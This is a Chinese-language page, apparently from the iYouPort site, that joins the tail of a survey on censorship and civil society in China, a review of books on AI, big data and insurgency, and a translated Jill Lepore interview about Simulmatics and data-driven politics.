D 集中化互联网的数字极权，丧失人权

E 生活在中国

F 骗子太多，难以信任、孤独无助

10. 如果希望与我们交流重要议题，您倾向于使用以下哪种联络方式？（假设您知道我们在下述所有渠道的联络方法）

A 加密邮箱

B Tox/Cryptocat/Signal/WickrMe

C 博客留言

D Wechat

E Twitter DM / Facebook message

F Google＋ 评论部分

G Skype 打电话

H 以上都不是

11、在您印象中中国社会是什么样的？

A 没救了，只能放弃

B 中国社会还是有很多积极人士的，只是没有足够的技术技能

C 有多少钱就能办多少事

D 没有反对者，只有异议

E 缺少独立的和捍卫正义的公民社会

F 我只是想移民再也不理中国的任何事

12、人们经常会感慨“又被删除了”，却同时不愿离开那些遭受严格内容审查的平台，比如 **WeChat** 等，您认为这有可能是出于什么原因：

A “被删除”被认为意味着内容“有价值”，人们已经以此为荣

B 不了解或不会使用有效的反审查通讯工具

C 只有微信有红包功能，锁定了很多人

D 离开微信很可能找不到联系人

E 反审查意识和相关技术的普及严重不力

F 在寻找新的审查“红线”，以便加深自我审查

G 不会翻墙

13、您最认同以下哪一句或几句话：

A 我希望可以提升技术技能，但我很可能无法学习非我专业的新知识

B 我很高兴能学到东西，希望你们能解释得简单易懂

C 我有自己的专长和经验技巧，对你们的主题很有价值，我愿意共享我的专长

E 我希望能结识更多有能力的志同道合的朋友，互相切磋技术技能

F 能赚钱的事我都干

G 上述都不符合。我只是吃瓜群众

14、如果您是严重不公平和不正义的受害者或目击证人，您认为可以通过以下哪种方式伸张正义？

A 寻求主流媒体的帮助

B 撰写详细报告提交给适合事件主题的国际权利组织和非政府组织

C 寻求独立媒体的帮助、协助调查并作证，或收集各种形式的证据，组织专业调查人士撰写可作为证据的调查报告

D 呼吁地方或中央政府关注事件、恳求改革和上访请愿

E 能忍就忍，找机会移民

F 发布在社交媒体上，让我的关注者了解我的遭遇或我亲见的恶劣事件

G 无法解决的问题太多了。祈祷上帝保佑倒霉的不是我就行

15、您认为足以推动民主化进程的公民社会组织需要以下哪些储备？

A 技术和技能

B 决心和勇气

C 充足的资金

E 动员和协作的经验

F 高端的社会地位，能与政府协商

G 公民社会是什么鬼？

好啦，总共就这些，我们在***等您！请注意标题的格式哦：「问卷 **—** 您的 **Twitter ID**」。非常感谢参与！■

（游戏已关闭）

广告

原文

“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来 - iyouport

免费书和纪录片关于高堡奇人

【2018年6月1日存档】谁有能力迅速消解反叛者网络？介绍两本新书，各有利弊。

当美国特种部队于 2001 年进入阿富汗时，Facebook 并不存在，iPhone 尚未被发明，而“A.I.”经常被称为 NBA 明星。十七年后，美国特种作战部队继续在阿富汗农村骑马，但信息技术已经飞速发展了。最近机器人技术和人工智能（AI）的突破已经引起了大众丰富的想象，并引发了即将发生的“人工智能革命”的话题。

然而令人惊讶的是，很少有人谈到 21 世纪美国外交政策占主导地位的小型战争和叛乱。

最近有两本新书新版，提供了有关大数据和人工智能时代将如何影响美国现代冲突的建议。其中一本是《 *Small Wars, Big Data: The Information Revolution in Modern Conflict* 》作者 Eli Berman, Joseph Felter, 和 Jacob Shapiro，该书对反叛的未来几乎没有提供任何思考，但就信息技术形成反叛的方式提出了令人信服的理论；另一本是《 *Army of None: Autonomous Weapons and the Future of War*》，作者 Paul Scharre，虽然没有提供反叛乱的战略，但充分关注了人工智能将如何重塑武装冲突。在这里下载这本书：https://t.me/iyouport/6502

总之，这些书开始勾勒出人工智能和大数据如何改变反叛动态的愿景。

“Small Wars, Big Data“这本书的核心见解是，反叛最终是对信息而不是领土或意识形态的竞争。由于反叛者很容易与当地人口融为一体，政权的部队无法打败反叛者，除非当地居民协助确定反叛者的身份和地点。

因此，政权面临的挑战是说服当地平民提供这些信息，而反叛者面临

的挑战是说服他们不要提供信息给政权。在这本书中描述的几乎所有叛乱中发生的事—— 一方面是建造学校和医院，另一方面是不分青红皂白地屠杀平民—— 都可以理解为企图哄骗或恐吓平民泄露或隐瞒他们所知道的东西。

这本书绝不是第一个提供这一论点的。但就其整理的经验证据的广度和深度而言，它是独一无二的。从21世纪初 Stathis Kalyvas 的开创性研究开始，Lisa Hultman 和 Laia Balcells 等政治学家就反叛和内战的“微观基础”编写了一系列非凡的实证研究。作为这些文献本身的主要贡献者，该书的作者在调查其研究结果方面做了令人钦佩的工作。

特别值得注意的是第四章，它全面概述了关于信息技术发展对叛乱之影响的辩论。

正如作者所指出的那样，一方面，信息技术可以通过让各国更容易收集有关反叛者的情报来减少反叛者的攻击；另一方面，信息技术也可以通过使反叛者更好地相互协调来增加攻击能力。通过比较手机网络和伊拉克叛军的行为，作者认为，手机—通过低成本、匿名的方式提供有关反叛者的信息，对线人来说风险很小—确实可以减少和破坏反叛活动。

阿富汗的塔利班和尼日利亚的博科圣地都在反复针对手机信号塔，尽管他们的通信能力有所改善，足以表明即使是反叛者本身也会担心信息技术已经使权力平衡倾向于国家。

该书对 Jacqueline Hazelton 去年夏天在一篇有争议的文章中讨论过的那种“蛮力”策略不以为然。如果能更深入地讨论为什么利用信息技术在打击反叛方面比大规模监禁、大规模重新安置甚至大规模杀戮等严厉政策更有效，那么本书可以变得更好。

另一个批评是，这本书的标题，暗示了一个它永远无法解决的话题：它主要是一本关于信息在叛乱中的作用的书，而不是信息技术本身。这个书名非常适合营销，但有点用词不当。

另一本书“Army of None”，Scharre 花了将近十年的时间来构建关于D.C.和五角大楼自主武器的早期辩论，这本书简明扼要地阐述了人工智能和自主武器为武装冲突的未来所提出的主要问题。

虽然这本书是为支持者写的，但即使是知识渊博的学者也会发现，人工智能注入武器系统必定将带入技术、道德和战略等诸多问题。

Scharre 关于即将到来的大数据和人工智能无处不在的论点对反叛的未来产生了深远的影响。粗略看两种未来是可能的：人工智能和自主武器都是分布式和商品化的，因此反叛者可以负担得起几乎与任何特定政权相同的武器系统。想想伊斯兰国在伊拉克和叙利亚部署的现代商用无人机，而不是低端情报和传统的检测。

由于许多尖端的 AI 项目都是开源的并且是公开的，因此很有可能临时建立起致命的自主武器系统，这些系统几乎与最先进的系统一样好，但成本相比下很低。在这种情况下，权力平衡可能会略微转向反叛者; 如果袭击者拥有致命的无人机群……你完全可以想象孟买那种袭击的结果可能就是大屠杀。

然而，如果人工智能的未来有利于规模和集中化，那么人工智能可能会给政权力量带来上风。全球范围内能够获得大国产品和基础设施的政权，如美国或中国，可能会迅速消解反叛者网络。甚至可以想象一种“没有战争”的情景，由于政权掌握了压倒性的信息优势……

回想一下 *Small Wars, Big Data* 这本书的中心点是，反叛活动主要是关于反叛者身份和地点的信息，即使是相对简单的技术—基于文本的提示—似乎能让各国更容易获得这类信息。那么使用配备面部识别功能的实时监控系统替换 tipline 时会发生什么？

随着普遍监视的成本下降，可能会看到新的反叛乱策略的出现：虽然诱骗的方法试图从民众那里获得信息，强制的方法也可能逼迫出信息透露，而“老大哥”的做法可以绕过平民。

如果你有足够的传感器、摄像头和处理能力来识别和跟踪每个人，那么就几乎不需要线人了。

尽管这种想法看起来非常牵强，但早期版本已经开始推行了。

在美国，由 Peter Thiel 资助的最新创业公司 Anduril Industries 正在快速建造一个“电子”墙，该墙已经证明在检测和监控德克萨斯州未经授权的过境点方面非常有效；

与此同时，在中国，当局通过广泛部署面部识别系统和大规模监视技术以压制新疆地区。中国当局的能力只会增长：北京最近宣布对人工智能创业公司 SenseTime 进行了大规模的投资，该公司的下一代产品旨在同时识别 **100,000** 个实时摄像头输入中的物体和个人。

延伸阅读：《是谁在为中国政府的监视社会系统提供技术支持？》；

《可视化数据：全球监控行业—— 谁是大哥？谁在作恶？》；《是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？》

人工智能和信息技术究竟是会赋予国家还是反叛者以权力，仍然不明朗。最有可能的是，它会同时赋予两者—— 人工智能和信息技术在失败国或弱国增加了反叛，同时，其他地方也就是强国，发生反叛的空间很可能被压制。

似乎可以肯定的是，信息革命很快就会彻底改变反叛。

原文

"我们压根不想要这些程序"：Jill Lepore 指出技术无法拯救民主的衰败 - iYouPort

你应该了解的现实免费书和纪录片算法暴政

技术能做的最好的事就是，滚远一点，别碰我们的政治 —— 介绍一本新书，关于20世纪数据疯狂的算法化新冷战的起源

人们有一些真正失败的思考方式，总是将一件事与另一件事分开考虑 —— 比如，当人们看到定向广告时只会觉得厌烦和嘲笑它们的愚蠢，却几乎不会想到，这就是操纵民主选举的同一种东西。

当您遇到人口普查和民调的时候您应该问一句：这是为什么？他们为什么要收集这些数据？拿去干了什么？对我的影响是什么？如果有足够多的人提出了正确的问题（而不是仅仅询问 “如何更安全地保存数据”），很多灾难都不会像今天这样糟糕。

「图」

「图」

【按】直到如今人们依旧在纠结于 “假选票” 对民主选举公正性的危害，这是完全的跑题。干预选举的方式有无数种，其中假选票是最无能和笨拙的一种，因为太容易被发现了 —— 而正是那些真正在危害民主的东西躲在一旁观看着所有人围绕 “假选票” 争得面红耳赤的笑话 ……

我们在《美国的选举为什么撕裂了华人群体》中写道：是奥巴马启动了第一个数据驱动的选举干预的高峰，而特朗普则将其升级为全球臭名昭著的干预产业链的强化。

但我们没有解释这种形式的选举干预究竟起源自哪里。

今天介绍的是一本新书，通过与作者进行对话的形式。但这本书中揭露的东西绝非新颖和令人震惊，相反，它是人们早已应该知晓的东西

—— 是民主每况愈下的根本性原因。

但这本书真的详细梳理了民主被侵蚀的历史，这是前所未有的，并且它清晰地阐述了一个最主要的问题，即：正如我们此前在对机器学习技术中的政治危险进行分析时所论述的 —— 技术领域有一些错误的想法，比如总是在想如何 ‘让技术变得更公平’， 而这是不切实际的；正确的问题是：这种技术是否应该存在。

同样，当技术哲学专家们讨论技术对民主的影响的时候，总是会问 “技术可以如何帮助民主”，而这是个完全错误的提问。

技术不应该对民主做任何事，拯救民主是人民的事，人民通过投票选出的候选人执行人民的意愿，跟技术一点关系都没有。

没有任何人投票去选择那些CEO，不论他们是想要破坏民主还是拯救民主，他们没有权力对民主做任何事。这些亿万富翁CEO和他们的技术能做的最好的事就是，滚远一点，别碰我们的政治。

这本书则真正认真地探讨了关于为什么要彻底拒绝这些技术。

📌 您可以将这本作为真正的反抗者的论述的书，与此前我们总结的来自皮尤这样的旨在维系现有系统的机构所作出的调查，进行一个对比；相信您会清楚地看到什么是反抗。皮尤的那篇在这里《数字技术究竟是会杀死民主，还是拯救民主？：这个10年》。

「图」

「图」

这本书在这里下载：https://www.patreon.com/posts/20shi-ji-shu-ju-44391720

您即将读到的采访发生在2020年9月17日，庆祝 Jill Lepore 的新书《If Then》的上市，这本书揭示了**20**世纪数据疯狂的算法化新冷战之起源。

Hannah Murphy 在《金融时报》上写道：“这位哈佛大学教授、《纽约客》作家细致地记录了 Simulmatics 如何为预测分析领域奠定了一些最早的基础。如今，互联网平台、广告商和政治战略家，都在利用它来帮助销售消费品、或选举候选人。科学家、心理学家和麦迪逊大道广告预言家组成的混沌乐队直到如今都是 **Facebook** 和 **Google** 不知名的祖父，是他们所有的奇异算法的来源。”

📌 这本书为理解美国选举政治和数据科学之间的关系提供了一个精致的基础，在民主进入衰落的时代里，这种理解是至关重要的，2020的选举季无疑将被认识论的辩论所破坏。我们只能希望《纽约时报》那样的企业媒体不要再用另一个预测选举结果的摇摆盘来惩罚我们了。

Jill Lepore 是哈佛大学美国历史教授和法学副教授，她也是《纽约客》的撰稿人和播客 “最后的档案” 的主持人。她的许多著作包括《These Truths: A History of the United States》 一本国际畅销书，被《时代》杂志评为十年十大非虚构类优秀书籍之一。

下面是这次访谈的内容。

Jill Lepore（JL）：我先讲讲关于 Simulmatics 公司的一些事。这是一个异常晦涩的故事，当我打开麻省理工学院图书馆的档案盒时就立刻陷入其中了。那盒子里的内容 —— 有几百个那样的盒子 —— 真的，回答了很多我曾经一直都不知道的问题。所以，我觉得有义务写一本书。

Simulmatics 公司成立于**1959**年，创始人是一个叫 Ed Greenfield 的人，他是麦迪逊大道上一位魅力四射的广告商，同时也是一位忠实的自由主义慈善家，还是非常虔诚的民权事业的支持者，曾在整个50年代参与民主党的竞选活动。

Greenfield 是个非常聪明的人。他非常喜欢被大卫·哈尔伯斯坦称为“最好的和最聪明的人 “的那种人（具有相当大的讽刺意味）。Greenfield 对行为科学和**20**世纪**50**年代新兴的计算机科学领域的研究特别感兴趣。他设计了一个选举模拟器。

【注：“行为科学” 就是今天用来操纵全世界所有人的东西的理论基础，从操纵您疯狂“黑五”剁手、到操纵您的认知、再到操纵您给谁投票。比如《心理操纵的秘密：”行为经济学”＋PR＝？》】

今天的人们一直在模拟选举，但这种模拟在20世纪50年代是全新的。仔细想想，这很有道理：如果你有兴趣在20世纪50年代尝试为人类行为建立一个预测模型，投票将是你最有可能想要研究的事，因为这是人类行为中为数不多的数据丰富的领域之一，当时有大量的数据可用：人口普查数据、民意调查、选举申报表 ……

民主产生了自己的数据。于是，从事定量型社会科学研究的人真的被吸引到了投票行为的研究中。Greenfield 的公司 “Simulmatics” 的运

作理念是，⚠ 一旦你能完善了一个预测投票行为的模型，你就可以用它来预测各种行为，包括消费者的选择。

该公司成立于1959年，其第一个客户是民主党全国代表大会，下一个客户是约翰·肯尼迪竞选活动，1960年，该公司为其提供了如何击败理查德·尼克松的建议。

而在这个项目之后，**Simulmatics** 几乎在每一个领域工作，直到今天，你可以在各种地方发现预测分析的机器在运转。它为高露洁和 Ralston Purina 等公司提供广告建议；为电视台提供媒体建议，它为《纽约时报》做了一个关于选举之夜数据分析的大项目，它还为联邦政府进行了一些项目。

但是到了20世纪60年代中期，该公司就苦不堪言了，因为他们想做的大多数项目都没有足够的数据 —— 至少，没有足够的数据来做好这些项目。更不用说，当时的计算机速度不够快，价格也不便宜，无法将其作为一种商业模式进行。所以，尽管 Simulmatics 公司的想法是利用计算机技术来预测人类的行为，并将这些预测作为产品来销售，但这在当时是一个很艰难的生意。

1965年，该公司转而从事新的工作。Simulmatics 在西贡设立了一个办事处，并为美国国防部承接合同，收集和分析南越农民的民意数据。这项工作具有异常的争议性；在很多方面，它导致了公司的衰落，并最终在1970年破产。

📌 我真正感兴趣的是：该公司曾经做得不好的所有事在多大程度上后来都做得 **很好**。当我看到这个故事的时候，就有点像发现了一个未爆炸的地雷。这是一个很久之前就被埋下的东西，但现在，它爆炸了。

danah boyd (db): 《 If Then》是一本伟大的辉煌的著作，它不仅仅是关于一个公司和它的人以及它的触角的故事，同时也是美国民主与数据和技术之间非常复杂关系的故事。

这种关系 —— 我从你的很多其他书中看到 —— 可以追溯到很久之前。但能够如此深 Simulmatics 公司，让人大开眼界。通过这个角度，你的书让我们看到了一个时期，⚠ 我们的政治家们非常愿意拥抱的不仅仅是数据，而是技术的海市蜃楼。他们不一定想看清它的底细、了解它的细节，他们不想了解技术的局限性；相反，他们对数据的性能感兴趣，他们只关心：如果数据能说话，它能说什么。而这正是数据非常有趣的地方，尤其是在你在书中描述的这种高风险的情况

下。

是什么原因让美国人的心理和政治结构、让这种对有数据说话的这种执着，在一段时间内，尤其是在这个时期，屡屡活跃起来的？

JL：美国的民主取决于人口学。我们的政治制度是数学的，宪法要求进行人口普查，因为这个共和国的运作就像一道数学题，甚至到了奴隶制这个问题上也是数学的，这个问题用一个分数来“解决”：五分之三。

但是，人民的政府当然不仅仅是一个数学问题，它是一个可以被影响的问题，而且实际上非常容易受到通讯技术变化的影响。在整个美国历史上有一个规律：每一个新的通讯技术出现之后，都会有一个政治不平衡期。

有了新的技术，通信速度更快了，可以沟通的人更多了，信息更自由了。人们因为有了这种新的力量而奋起。然后，这种新的力量迅速被遏制，或者以某种有意义的方式被限制，“平衡” 就恢复了。

但在上世纪50年代大型计算机崛起之前，真的，这些通信技术并不是不可捉摸的，也不是难以理解的。谁都能理解电报机的运作方式；对于电话，它有点诡异，有点不可见，但它也并不难理解；收音机似乎有点像电话机，它们都不是自我神秘化的技术。

而到了1951年的UNIVAC（通用自动计算机，那是**1950**年为统计人口普查而建的），这种情况就开始改变了。

文化真的围绕着做科学的人而展开。

📌 这似乎是冷战任务的一部分。冷战、太空竞赛：联邦政府为了所谓的国家安全的目的投入大量资金追求科学。

- 关于互联网的由来《互联网究竟是什么？—— 来自“监视谷”惊人的启示》

不知为何，人们认为有必要拜在麻省理工学院工程师的神坛上，以至于当你取笑他们时，你就会成为一个笑话。

比如，考虑一下1957年的电影《办公桌》（Desk Set），Spencer Tracy 饰演一位麻省理工学院的系统工程师，Katharine Hepburn 取笑他的那种情节。这部电影作为一部喜剧，其部分原因是 … 它会刺激人们这样的想法：“哦，我的天哪，她可以对他说这种话， 即使他

是一个做科学的人？”（喜剧的效果来自于与大多数人根深蒂固的想法相悖）

【注：UNIVAC 是第一台商用电子计算机。1951年由雷明顿兰德公司发售。 真空管数量为5200只，与ENIAC相比，仅为三分之一以下。存储器为100只水银延迟管。 占地26.7平方米，重量7.2吨。 】

📌 这就是孕育出 Simulmatics 公司科学家的文化背景。关于 Simulmatics 公司的一件事仍然让我着迷 —— 这些家伙正在尝试制造一台机器来预测人类的行为。但他们一般只用它来预测三个群体的行为：一个是黑人选民，因为他们的第一个项目就是研究黑人选民；一个是女性，家庭主妇；第三个是越南农民。

对我来说，作为一个人文主义者，我看着这一切就会想：真的吗？ 你要造一台机器来做这种事？1960年，他们建立了一个数学模型，用 FORTRAN 写了一个计算机程序来了解黑人选民。我的意思是，你为什么不能直接打开电视去观看 **Greensboro** 著名的午餐柜台静坐抗议，但他们却决定建立一个数学模型，并为计算机编程。

📌 这种傲慢源于中世纪白人自由主义在特定技术主义时刻的高潮，由所谓的国安体制的研究议程安排。

【注：午餐柜台静坐抗议是美国民权运动的经典战术，抗议者们都穿着体面，安静地坐着，各一个位子坐一个人，以方便其它白人同情人士加入抗议。示威人士不单在午餐柜台前静坐抗议，还在公园、长椅、图书馆、剧院、博物馆和其他公共场所内抗议示威。相关反抗技巧参见《别把注意力集中在抵抗上：预设性干预战术】

db：这是超级重要的。在这本书的前面部分，你引用了美国著名作家尤金·伯迪克的话：

这个新的黑社会由天真善良的人们组成，他们使用计算尺、推算机器和电脑进行工作。这些人大多受过高等教育，其中许多人是博士学位，我见过的这些人中没有一个人对美国公众有恶意的政治算计。但是，他们做的事正在从根本上重建美国的政治体系，建立新的政治，甚至彻底修改备受尊敬和的美国机构，这些都是他们无辜的事实。

- 大数据使政治消亡。这是一场看不见的政变，其目的是旨在清空民主的实质内容，仅仅只留下一个触摸不到的虚伪躯壳。剩下的，只有礼仪性的制度和由于“选举”而神圣化的约会… 《国王们的晚宴—— 这是一场看不见的政变》

正如你所指出的，这是一个关于技术官僚的故事，用现代人的眼光来看，这是一个关于白人至上主义文化如何通过这些官僚系统得到维护的故事。即便如此，我想，很多读者都很关心如何用技术做好事，那么他们应该从这个故事中得到什么呢？他们本以为自己从事的是一项“为善而设计” 的技术，但事实上却维护了如此多的压制性系统，他们可以从中学习到什么？

JL：Burdick 在**1964**年就写过。他是加州大学伯克利分校的政治理论家，1956年曾为 Greenfield 工作。后来有人请他为 Simulmatics 工作，但他却写了一本小说，起诉 Greenfield 的公司。

这就是我研究历史的原因。我在图书馆里读到 Burdick 的那段话，我想： 有人在1964年就想通了这一点。他当时就预言，我们所知道的美国政治将被人类行为的预测所摧毁， 而其他古老的机构，例如本地的报纸， 都很可能被摧毁 **……** 他在几十年前就预见到这一点！

要记住，Burdick 之所以能预见到这一点，是因为他是一位政治理论家和作家，他对美国政治秩序的研究使他认为美国的民主制度与电脑模拟选举完全不一致。他们需要 Burdick 这样的人 —— 哲学家、政治理论家、历史学家、诗人、批评家，等等。

但是，相反，经营这些公司的人拒绝文科，好像整个人文学科对他们来说就像会打领结那么简单，他们拒绝理解这些知识体系和分析方法是人类状况的基础。

我喜欢这个 Simulmatics 故事的一个原因是，这些科学家本身不是坏人，他们是想让民主党在民权问题上采取更强硬的立场。他们是理想主义者。但是，他们并没有考虑到自己所做的事的影响。**Burdick** 考虑过，而且拒绝参与其中。

db：这也是一个令人着迷的时期，因为在此期间政党进行了重新安排，在这本书的第57页上，你注意到保守派谴责行为科学的无神论和道德愚蠢，理由是技术官僚主义是国家对人民的控制，甚至是对人们思想的控制。

我对这一时期对科学和社会科学方法的不同政治态度，以及这一切是如何被结构化的，感到着迷。在这次讲座之前，Erica Robles-Anderson 为您准备了一个问题。考虑到对社会科学的态度， 我们如何理解1960年代南方民主党和黑人选民切换政党时发生的重组？在这次调整中，这些部分是否都融合在一起了？

JL：这是一个相当有趣的问题。政治被现代民意调查业从根本上改变了，它真正出现在**20**世纪**30**年代，这本身就是一次重大调整。

1932年，当富兰克林·罗斯福竞选总统并在1933年当选时，他是靠所谓的新政联盟获胜的：他能够拉拢黑人选民，而这些选民，自林肯和解放以来、自第15修正案以来，他们一直投票给共和党。到了20世纪30年代，吉姆·克劳法 (Jim Crow laws) 意味着黑人在南方不能投票，但是，在可以投票的地方，他们都投了共和党的票。直到罗斯福。

【注：吉姆·克劳法 1876年至1965年间美国南部各州以及边境各州对有色人种实行种族隔离制度的法律。这些法律上的种族隔离强制公共设施必须依照种族的不同而隔离使用，且在隔离但平等的原则下，种族隔离被解释为不违反宪法保障的同等保护权，因此得以持续存在。】

📌 现代民调行业始于**1935**年，George Gallup 创立，正是它扭曲了选民。例如，盖洛普拒绝问白人关于民权的问题，他们也不对黑人选民进行民意调查。整个30年代都有民权运动的静坐示威，国会每年都有反私刑的法案。但盖洛普没有问人们关于民权的问题，那是因为他有一个全国性的联合报纸专栏叫 “America Speaks”，而南方的报纸不想刊登关于民权的专栏，他们也不想听到北方黑人选民的意见。盖洛普不想失去这些报纸，就答应了他们。

「图」

「图」

https://www.technologyreview.com/2020/10/20/1010809/inside-the-information-war-on-black-voters/?fbclid＝IwAR0VyX1zGoezqamtO2K2xSOVV-ncAXXnQvXuBI7WjGk6_Cay1xwVXh7kyWc

「图」

「图」

https://www.democracynow.org/2020/11/2/alamance_county_voting_march_police?fbclid＝IwAR3iDvh689fZh_fD7FmBVe3iu06d82UDanU09ev1Oi9lf2csqozrjk

总之，到了20世纪50年代，富兰克林的新政联盟已经开始分崩离析，因为1952年当选总统的德怀特·艾森豪威尔和1956年再次当选总统的

共和党人，在民权问题上的立场比他的民主党挑战者阿德莱·史蒂文森更坚定。

黑人选民离开新政联盟，大量投票给艾森豪威尔。这时，Ed Greenfield 说："如果我们模拟1960年的选举，实际统计黑人选民，那结果会怎样？我们可以把这些结果拿给史蒂文森，或者成为民主党提名人的任何人，以对抗艾森豪威尔的继任者理查德·尼克松，说服他在民权问题上采取更强硬的立场。"

⚠ **Simulmatics** 的工作依靠的是在将人口群体对立起来这一进程方面的日益成熟。Simulmatics 用来分类人的机器将美国选民分为480种可能的选民类型 —— 然后利用这些不同的类别进行模拟。

这就是为什么 Burdick 把他的关于批判 Simulmatics 的那本书起名为《480》。他不仅反对模拟，而且反对排序。你住在布鲁克林，你是上流社会，你是亚裔美国人，你两次投票给奥巴马：这就是一种选民类型。

⚠ 从 Burdick 作为政治理论家的角度来看，如果你把人口分为选民类型，并按类型对每个人量身定制政治信息，那么你实际上是在分裂美国人、让他们与自己对立。你正在击败我们代议制政府背后的哲学。

- 这就是今天的社交媒体政变手段 —— 定制人的由来《算法暴政：定制人如何终结民主》

就如作为一个中年的天主教新英格兰妇女而且曾经投票给奥巴马两次，于是我这样的人就不应该去投票站投票；相反，我应该去投票，思考选票上谁能最好地代表每个人的利益，谁的政策立场是符合公众利益和共同利益的。如果我从未收到过这样的信息："这是我对所有人的愿景"，我就无法做到这一点。

这就是 Burdick 说的意思，**Simulmatics** 科学家其实并不了解我们的政治制度；如果你了解我们的政治制度，你就不会这么做 ——因为这会毁掉它。

db：这个故事变得如此痛苦的部分原因是，Simulmatics 公司努力地为黑人选民树立榜样，以增加选举权；然而，后来，他们转而在越南战争中发挥作用；他们的宣传被用作反越运动（是反越南，支持越战）。

身为纽约大学教务长和《Black Software》作者的 Charlton Mcllwain

对这些不同的组成部分很感兴趣。他想知道。Simulmatics 对其在60年代反黑人种族主义政治的塑造甚至煽动中的积极作用有多透明？除了他们工作的特定时期，你如何描述 Simulmatics 对民权的长期影响？

JL：任何一个在1960年代为该公司工作的人都会感到震惊，无法想象有人会认为它是一家反对民权的公司。

这些人都是国内从事社会科学工作的最进步的自由主义者。大多数帮助创立公司的科学家都拒绝去越南，因为他们与真正支持这项工作的科学家意见相左。他们往往是反对战争的人，他们参与反战游行，他们敦促他们的大学撤回对战争相关研究的支持。

这些人试图解决不平等问题 —— 这就是 **他们认为自己在做什么**。例如： 试图预测种族骚乱。他们试图阻止暴力，也试图放大那些在街头抗议的人的声音，因为这些人抗议的就是警察的暴行。

然而从中出现的是一些超级令人毛骨悚然的东西，但这在很大程度上是无意的。那么，这些人中会有人认为自己是在推进反民权的邪恶事业吗？不，他们根本不会这样理解自己。

db：在我自己的研究中，我目前关注的是2020年人口普查。当我们努力应对正在进行的关于该数据合法性的奇观时，Dan Bouk 和我一直在努力解决的一件事涉及能够看到基础设施的意外后果。

📌 换句话说，即使我们都知道人口普查数据是被制造出来的，而不是被发现的，但看到香肠是如何被制造出来的并不总是那么美好。然而，我们的确就在这里，学习香肠。

你提到了 Barrington Moore 的概念，即 被技术万能的幻觉所蒙蔽。这不仅仅适用于计算机，有时候技术万能也在帮我们至少确定了数据是基础架构。

【注：巴林顿·摩尔 (Barrington Moore Jr.) 美国著名历史学家、社会学家和比较政治学家，其最为人知的作品是《民主和专制的社会起源》，该部著作详尽研究和比较了英国、法国、美国、中国、日本、俄罗斯、德国以及印度的现代化。其作品还包括《人类苦难的原因反思》、《不公：顺从和反抗的社会基础》等。】

当你翻阅 Simulmatics 的历史时就会认为，如果不委屈生产这些项目的组织或机构，就根本无法谈论大数据项目的香肠。很显然，有些时

候应该委屈他们。但是，揭示数据背后的系统会带来哪些意想不到的后果？我们如何平衡在更广泛的背景中能够看到和理解数据和技术的位置的这些时刻？

JL：我最近读了两篇不同的文章，它们都是关于这个问题的，一篇是60年代的文章，叫做 “科学崛起的政治后果”；另一篇是我在哈佛的同事 Danielle Allen 的文章，叫 “奴役之路”。📌 这两篇文章都提出了同样的观点：我们的宪法制度是由律师设计的 —— 18世纪的律师（两位作者也是历史学家）。当这些律师着手起草宪法的时候，他们并没有拿着一份秘密文件，站在高处说，这就是规则！而是公布了它。他们把它发给人民批准。他们鼓励人们召开会议，进行对话， 然后他们召开正式的会议，人们对草案进行辩论， 然后通过批准程序。

宪法是极其复杂的。它虽然只有大约四千字，但它包含了很多想法。这些人确实有信仰，尽管他们对 “人民” 是谁的概念非常小，从我们的角度看非常小，但从他们的角度来看，“人民” 是不可思议的民主政治。他们相信，人民可以作出决定。

他们称宪法是一部机器，他们认为宪法是一个设计好的装置。一个对每个人来说都是可读的和透明的装置。

📌 但在20世纪的某个时候，作为社会工程师的人变成了 经济学家。然后，科学家取代了经济学家。但是，当这些从事复杂科学工作的人做出关于政府应该如何工作的决定时，问题就出现了。

比方说，预防大流行病。因为，是的，我们都能读懂宪法，但我们都能理解流行病学吗？然后，考虑一下奇怪的是，⚠ 真正在设计人们如何彼此行为的人并不是律师、经济学家或科学家 —— 他们是马克·扎克伯格这类寡头，他们珍视混淆和神秘化：这是他们商业模式的一部分。这也是为什么监管如此难以捉摸的原因。

还记得今年夏天，**Facebook**、谷歌、亚马逊和苹果的负责人出现在国会面前吗？而很明显，大多数国会议员丝毫不知道这些企业是如何运作的。现在的状况是，这里有一些系统、甚至是技术复杂的系统，在推动我们的政治 —— 以至于人民完全无法理解它们 —— 这意味着我们已经不再有民主了。

db：法律学者 Kate Klonick 将科技公司的CEO们称为 *新的治理者*，以此来捕捉他们的行为所造成的政治影响。然而他们自己也不知道该如何看待自己在这一切中的角色。

在今晚的节目开始之前，我们收到的另一个问题是来自微软的CEO Satya Nadella，他想知道，他应该如何思考工业界在建立支持民主而不是破坏民主的系统中的作用。而从你自己的研究来看，科技的亮点是什么？特别是对于那些身处这些岗位的人来说 —— 作为各大科技公司的高管，监督着他们的很多未来 —— 你会告诉他应该如何思考自己的责任吗？

📌 JL：这个问题至少间接地建立在一个**假设**上，即“更多的代码会解决这个问题”，“我们只需要有更好的代码，我们只需要做一些调试”…… 这个问题的背后有一种调试的心态。而这种心态忽略了很多人更深层次的批判，那就是：我们根本就不想要这个程序！我们不想要一个什么更好用的程序！我们不想要一个工作更快的程序。我们压根就不想要这个程序。

我很欣赏微软CEO提出的这个问题，我也绝不怀疑他的诚意。但它建立在这样的假设上：科技公司的CEO们“应该修复我们的民主”。不，他们不应该这样做。

人民才是需要修复民主的人，当选的人需要去修复民主。科技公司的CEO们应该尽量减少对我们民主的伤害。但我并没有投票选这些**CEO**来修复民主。没有任何人选举他们。〇

“WE DON’T WANT THE PROGRAM”: JILL LEPORE ON HOW TECH CAN’T FIX DEMOCRACY In this conversation, originally presented by Data & Society and Brooklyn Public Library, historian Jill Lepore discusses her latest book, “If Then,” with danah boyd.

原文

“我们压根不想要这些程序”：Jill Lepore 指出技术无法拯救民主的衰败 - iyouport

你应该了解的现实免费书和纪录片算法暴政

【 2020年12月10日存档】技术能做的最好的事就是，滚远一点，别碰我们的政治 —— 介绍一本新书，关于20世纪数据疯狂的算法化新冷战的起源

人们有一些真正失败的思考方式，总是将一件事与另一件事分开考虑 —— 比如，当人们看到定向广告时只会觉得厌烦和嘲笑它们的愚蠢，却几乎不会想到，这就是操纵民主选举的同一种东西。

当您遇到人口普查和民调的时候您应该问一句：这是为什么？他们为什么要收集这些数据？拿去干了什么？对我的影响是什么？如果有足够多的人提出了正确的问题（而不是仅仅询问 “如何更安全地保存数据”），很多灾难都不会像今天这样糟糕。

